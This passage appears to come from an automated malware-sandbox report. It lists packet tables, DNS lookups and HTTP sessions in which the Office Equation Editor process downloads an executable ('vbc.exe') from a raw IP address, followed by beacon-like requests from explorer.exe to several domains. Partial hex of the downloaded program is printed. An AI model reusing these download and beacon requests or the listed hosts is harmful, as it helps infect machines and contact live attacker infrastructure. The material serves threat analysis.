May 14, 2022 15:19:32.219042063 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219046116 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219086885 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219089985 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219125032 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219126940 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219163895 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219166040 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219202042 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219202995 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219238043 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219238997 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219273090 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219274998 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219310045 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219311953 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219346046 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219357967 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219381094 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219383001 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219419003 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219419956 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219455004 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219458103 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219491005 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219492912 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219527960 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219531059 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219564915 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219567060 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219602108 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219603062 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219638109 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219640970 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219676971 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219677925 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219711065 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219716072 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219752073 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219753027 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219789028 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219808102 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219845057 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219851971 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219890118 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219891071 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219918966 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:32.219926119 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.219959021 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:32.220094919 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:37.160038948 CEST	80	49173	104.168.33.31	192.168.2.22
May 14, 2022 15:19:37.160197020 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:19:38.759443998 CEST	49173	80	192.168.2.22	104.168.33.31
May 14, 2022 15:20:49.280080080 CEST	49174	80	192.168.2.22	34.102.136.180
May 14, 2022 15:20:49.297899961 CEST	80	49174	34.102.136.180	192.168.2.22
May 14, 2022 15:20:49.298039913 CEST	49174	80	192.168.2.22	34.102.136.180
May 14, 2022 15:20:49.298163891 CEST	49174	80	192.168.2.22	34.102.136.180
May 14, 2022 15:20:49.315794945 CEST	80	49174	34.102.136.180	192.168.2.22
May 14, 2022 15:20:49.414908886 CEST	80	49174	34.102.136.180	192.168.2.22
May 14, 2022 15:20:49.414938927 CEST	80	49174	34.102.136.180	192.168.2.22
May 14, 2022 15:20:49.415096045 CEST	49174	80	192.168.2.22	34.102.136.180
May 14, 2022 15:20:49.415138960 CEST	49174	80	192.168.2.22	34.102.136.180
May 14, 2022 15:20:49.721462965 CEST	49174	80	192.168.2.22	34.102.136.180
May 14, 2022 15:20:49.737354040 CEST	80	49174	34.102.136.180	192.168.2.22
May 14, 2022 15:20:54.454102039 CEST	49175	80	192.168.2.22	198.54.117.212
May 14, 2022 15:20:54.627938032 CEST	80	49175	198.54.117.212	192.168.2.22
May 14, 2022 15:20:54.628040075 CEST	49175	80	192.168.2.22	198.54.117.212
May 14, 2022 15:20:54.628197908 CEST	49175	80	192.168.2.22	198.54.117.212
May 14, 2022 15:20:54.801981926 CEST	80	49175	198.54.117.212	192.168.2.22
May 14, 2022 15:20:54.802022934 CEST	80	49175	198.54.117.212	192.168.2.22
May 14, 2022 15:21:00.123545885 CEST	49176	80	192.168.2.22	164.155.217.57
May 14, 2022 15:21:00.311521053 CEST	80	49176	164.155.217.57	192.168.2.22
May 14, 2022 15:21:00.314990997 CEST	49176	80	192.168.2.22	164.155.217.57
May 14, 2022 15:21:00.315134048 CEST	49176	80	192.168.2.22	164.155.217.57
May 14, 2022 15:21:00.712800980 CEST	80	49176	164.155.217.57	192.168.2.22
May 14, 2022 15:21:00.731961012 CEST	80	49176	164.155.217.57	192.168.2.22
May 14, 2022 15:21:00.732011080 CEST	80	49176	164.155.217.57	192.168.2.22
May 14, 2022 15:21:00.732199907 CEST	49176	80	192.168.2.22	164.155.217.57
May 14, 2022 15:21:00.746476889 CEST	49176	80	192.168.2.22	164.155.217.57
May 14, 2022 15:21:00.932132006 CEST	80	49176	164.155.217.57	192.168.2.22
May 14, 2022 15:21:05.987340927 CEST	49177	80	192.168.2.22	23.81.214.26
May 14, 2022 15:21:06.148293972 CEST	80	49177	23.81.214.26	192.168.2.22
May 14, 2022 15:21:06.148436069 CEST	49177	80	192.168.2.22	23.81.214.26
May 14, 2022 15:21:06.148781061 CEST	49177	80	192.168.2.22	23.81.214.26
May 14, 2022 15:21:06.311940908 CEST	80	49177	23.81.214.26	192.168.2.22
May 14, 2022 15:21:06.311974049 CEST	80	49177	23.81.214.26	192.168.2.22
May 14, 2022 15:21:06.311989069 CEST	80	49177	23.81.214.26	192.168.2.22
May 14, 2022 15:21:06.312130928 CEST	49177	80	192.168.2.22	23.81.214.26
May 14, 2022 15:21:06.312165976 CEST	49177	80	192.168.2.22	23.81.214.26
May 14, 2022 15:21:06.313327074 CEST	49177	80	192.168.2.22	23.81.214.26
May 14, 2022 15:21:06.474150896 CEST	80	49177	23.81.214.26	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2022 15:20:49.249929905 CEST	55868	53	192.168.2.22	8.8.8.8
May 14, 2022 15:20:49.270263910 CEST	53	55868	8.8.8.8	192.168.2.22
May 14, 2022 15:20:54.426791906 CEST	49688	53	192.168.2.22	8.8.8.8
May 14, 2022 15:20:54.448314905 CEST	53	49688	8.8.8.8	192.168.2.22
May 14, 2022 15:20:59.833756924 CEST	58836	53	192.168.2.22	8.8.8.8
May 14, 2022 15:21:00.015923977 CEST	53	58836	8.8.8.8	192.168.2.22
May 14, 2022 15:21:05.800946951 CEST	50134	53	192.168.2.22	8.8.8.8
May 14, 2022 15:21:05.972409964 CEST	53	50134	8.8.8.8	192.168.2.22
May 14, 2022 15:21:11.315015078 CEST	55275	53	192.168.2.22	8.8.8.8
May 14, 2022 15:21:11.426719904 CEST	53	55275	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 14, 2022 15:20:49.249929905 CEST	192.168.2.22	8.8.8.8	0xc4a9	Standard query (0)	www.arjimni.com	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.426791906 CEST	192.168.2.22	8.8.8.8	0xca6d	Standard query (0)	www.contractornurd.com	A (IP address)	IN (0x0001)
May 14, 2022 15:20:59.833756924 CEST	192.168.2.22	8.8.8.8	0x1666	Standard query (0)	www.tw-life.net	A (IP address)	IN (0x0001)
May 14, 2022 15:21:05.800946951 CEST	192.168.2.22	8.8.8.8	0x723c	Standard query (0)	www.yiwanggkm.com	A (IP address)	IN (0x0001)
May 14, 2022 15:21:11.315015078 CEST	192.168.2.22	8.8.8.8	0x150	Standard query (0)	www.skinclash.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 14, 2022 15:20:49.270263910 CEST	8.8.8.8	192.168.2.22	0xc4a9	No error (0)	www.arjimni.com	arjimni.com		CNAME (Canonical name)	IN (0x0001)
May 14, 2022 15:20:49.270263910 CEST	8.8.8.8	192.168.2.22	0xc4a9	No error (0)	arjimni.com		34.102.136.180	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	www.contractornurd.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.212	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.215	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.218	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.216	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.210	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.211	A (IP address)	IN (0x0001)
May 14, 2022 15:20:54.448314905 CEST	8.8.8.8	192.168.2.22	0xca6d	No error (0)	parkingpage.namecheap.com		198.54.117.217	A (IP address)	IN (0x0001)
May 14, 2022 15:21:00.015923977 CEST	8.8.8.8	192.168.2.22	0x1666	No error (0)	www.tw-life.net		164.155.217.57	A (IP address)	IN (0x0001)
May 14, 2022 15:21:05.972409964 CEST	8.8.8.8	192.168.2.22	0x723c	No error (0)	www.yiwanggkm.com		23.81.214.26	A (IP address)	IN (0x0001)
May 14, 2022 15:21:11.426719904 CEST	8.8.8.8	192.168.2.22	0x150	No error (0)	www.skinclash.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)
May 14, 2022 15:21:11.426719904 CEST	8.8.8.8	192.168.2.22	0x150	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
May 14, 2022 15:21:11.426719904 CEST	8.8.8.8	192.168.2.22	0x150	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)
May 14, 2022 15:21:11.426719904 CEST	8.8.8.8	192.168.2.22	0x150	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

104.168.33.31

www.arjimni.com

www.contractornurd.com

www.tw-life.net

www.yiwanggkm.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	104.168.33.31	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
May 14, 2022 15:19:31.529700994 CEST	2	OUT	GET /75/vbc.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 104.168.33.31 Connection: Keep-Alive
May 14, 2022 15:19:31.645406961 CEST	3	IN	HTTP/1.1 200 OK Date: Sat, 14 May 2022 13:19:31 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 Last-Modified: Fri, 13 May 2022 09:36:08 GMT ETag: "4065c-5dee1677234a5" Accept-Ranges: bytes Content-Length: 263772 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!`G@@@/OQ@@I@/OS@c>@+F@Rich@PELOah:F6@;@;P.textgh `.rdatal@@.data9@.ndata:.rsrcP;@@
May 14, 2022 15:19:31.645431042 CEST	5	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d a8 8a 7a 00 89 48 04 50 ff 75 10 ff 75 0c ff 75 08 ff 15 84 82 40 00 e9 42 01 00 00 53 56 8b 35 b0 8a 7a 00 8d 45 a4 Data Ascii: U\}t+}FEuHzHPuuu@BSV5zEWPu@eEEPu@}e`@FRVVU+MM3FQNUMVTUFPEEPM\@EEPEPu
May 14, 2022 15:19:31.645451069 CEST	6	IN	Data Raw: 7a 00 e9 f9 16 00 00 8b 88 80 8b 7a 00 89 88 20 8b 7a 00 e9 e8 16 00 00 8b 45 d8 8d 34 85 20 8b 7a 00 33 c0 8b 0e 3b cb 0f 94 c0 23 4d dc 8b 44 85 d0 89 0e e9 d2 16 00 00 8b 45 d4 ff 34 85 20 8b 7a 00 57 e9 31 16 00 00 8b 0d 70 7a 7a 00 8b 35 50 Data Ascii: zz zE4 z3;#MDE4 zW1pzz5P@;tuQEzz;PQjuP@nmjPEJ;tZj\VIf>ff;u9]tCFtuEuF;t=uu
May 14, 2022 15:19:31.645468950 CEST	7	IN	Data Raw: 89 1f 66 89 9f fe 07 00 00 e9 b8 11 00 00 8b 75 e4 53 e8 09 13 00 00 6a 01 8b f8 89 55 f0 e8 fd 12 00 00 59 3b f3 59 89 55 f0 75 08 3b f8 7c 08 7e 8a eb 12 3b f8 73 08 8b 45 dc e9 91 11 00 00 0f 86 76 ff ff ff 8b 45 e0 e9 83 11 00 00 6a 01 e8 cb Data Ascii: fuSjUY;YUu;\|~;sEvEjjUuYUYE$L-@_+X;tSC#323;;u3;t;t3F;t3E
May 14, 2022 15:19:31.645490885 CEST	9	IN	Data Raw: 00 ff 75 ac eb 47 53 e8 fc 0d 00 00 8b f0 56 6a eb e8 1c 37 00 00 56 e8 97 3c 00 00 8b f0 3b f3 0f 84 6a 09 00 00 39 5d d8 74 21 56 e8 17 4b 00 00 39 5d d4 7c 0b 50 ff 75 f4 e8 d8 45 00 00 eb 0b 3b c3 74 07 c7 45 fc 01 00 00 00 56 ff 15 24 81 40 Data Ascii: uGSVj7V<;j9]t!VK9]\|PuE;tEV$@4jPI;tvuEvQEffjuMEQPjIEf;fEVj@8@;EjIjEIuEVSuU
May 14, 2022 15:19:31.645509005 CEST	10	IN	Data Raw: 00 00 8d 44 00 02 83 fe 04 75 12 6a 03 e8 9a 08 00 00 59 a3 f8 b5 40 00 56 89 55 c8 58 83 fe 03 75 0f 68 00 18 00 00 57 53 ff 75 dc e8 6e 0e 00 00 50 57 ff 75 f0 53 ff 75 bc ff 75 08 ff 15 0c 80 40 00 85 c0 75 03 89 5d fc ff 75 08 e9 d3 00 00 00 Data Ascii: DujY@VUXuhWSunPWuSuu@u]uhj3i;fMEQMWQSPV@3Au.}t9Mt}uEEt739]WE!@ffM^h>j;YUfn9]M
May 14, 2022 15:19:31.645526886 CEST	11	IN	Data Raw: 08 e8 f8 37 00 00 57 ff 15 34 81 40 00 83 4d c8 ff 53 53 ff 75 08 ff 75 c8 e8 47 09 00 00 ff 75 08 8b f8 ff 15 24 81 40 00 6a f3 3b fb 5e 7d 13 6a ef 5e ff 75 c0 ff 15 70 81 40 00 c7 45 fc 01 00 00 00 56 e9 96 f8 ff ff 53 e8 23 03 00 00 8b f8 59 Data Ascii: 7W4@MSSuuGu$@j;^}j^up@EVS#Y;=zUEi5z;\|uVu;Q+MtjYUEuFP;NEM9]JW?S YU09]t"9]
May 14, 2022 15:19:31.645544052 CEST	13	IN	Data Raw: c0 74 d0 ff 75 fc ff 15 10 80 40 00 6a 03 e8 dc 3a 00 00 85 c0 75 1e ff 75 0c ff 75 08 ff 15 18 80 40 00 eb 1b ff 75 fc ff 15 10 80 40 00 b8 eb 03 00 00 eb 0b 6a 00 56 ff 75 0c ff 75 08 ff d0 5f 5e 5b c9 c2 0c 00 55 8b ec 81 ec 80 00 00 00 81 7d Data Ascii: tu@j:uuu@u@jVuu_^[U}ujhju@@E}uEF=zT@u @PEQPT@EPuD@EPhu,30y@y;rPjdQ@UV39ut
May 14, 2022 15:19:31.645562887 CEST	14	IN	Data Raw: 79 00 2b 35 60 ce 40 00 57 03 74 24 14 ff 15 f8 80 40 00 33 db 05 f4 01 00 00 3b f3 a3 ac 8a 7a 00 0f 8e 2a 01 00 00 ff 35 44 f7 79 00 e8 46 01 00 00 53 53 ff 35 60 ce 40 00 ff 35 1c a0 40 00 ff 15 60 81 40 00 89 35 40 f7 79 00 89 1d 30 f7 79 00 Data Ascii: y+5`@Wt$@3;z*5DyFSS5`@5@`@5@y0y0x8y@+Dy;07yWV=Dy5h@=l@9zt)9@zu!@yS+4y+D$`@0yYhh@-p@t@26\|j5p@+t!VU5@
May 14, 2022 15:19:31.645581961 CEST	15	IN	Data Raw: 72 50 0f b7 05 3e a3 40 00 99 0f a4 c2 10 c1 e0 10 8b d8 0f b7 05 3c a3 40 00 0f b7 0d 38 a3 40 00 99 0b d8 0f b7 05 3a a3 40 00 c1 e0 10 0b c1 33 c9 99 0b c8 8b c3 0b c2 8b 17 3b d1 75 07 8b 57 04 3b d0 74 0a 4f 4f 81 ff 00 30 7b 00 73 e9 33 db Data Ascii: rP>@<@8@:@3;uW;tOO0{s30{E@rAfW&=Wh8{.,Wh@{#,]LzE!h,@V,th(@V,h@V+H{WV(@Vt h!
May 14, 2022 15:19:31.759368896 CEST	17	IN	Data Raw: 50 ff 74 24 2c ff 74 24 2c 68 00 00 00 80 57 56 68 80 00 00 00 ff 15 24 82 40 00 a3 68 1f 7a 00 57 e8 eb d4 ff ff 85 c0 74 08 6a 02 58 e9 bf 00 00 00 e8 c2 00 00 00 39 3d 40 8b 7a 00 0f 85 83 00 00 00 6a 05 ff 35 68 1f 7a 00 ff 15 50 82 40 00 68 Data Ascii: Pt$,t$,hWVh$@hzWtjX9=@zj5hzP@h<@vuh0@h5(@@SUWuSh@WS-dzz@zzWih@@WP5z,@jVj+Wt9=lzzNj.Bj"3_^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2022 15:20:49.298163891 CEST	282	OUT	GET /nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3f=j6AdrVwh HTTP/1.1 Host: www.arjimni.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 14, 2022 15:20:49.414908886 CEST	282	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Sat, 14 May 2022 13:20:49 GMT Content-Type: text/html Content-Length: 291 ETag: "627e7264-123" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49175	198.54.117.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2022 15:20:54.628197908 CEST	283	OUT	GET /nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3f=j6AdrVwh HTTP/1.1 Host: www.contractornurd.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49176	164.155.217.57	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2022 15:21:00.315134048 CEST	284	OUT	GET /nc39/?dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3f=j6AdrVwh HTTP/1.1 Host: www.tw-life.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 14, 2022 15:21:00.731961012 CEST	285	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sat, 14 May 2022 13:21:05 GMT Content-Type: text/html Content-Length: 466 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 d2 b3 c3 e6 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 71 71 2e 63 6f 6d 2f 34 30 34 2f 73 65 61 72 63 68 5f 63 68 69 6c 64 72 65 6e 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 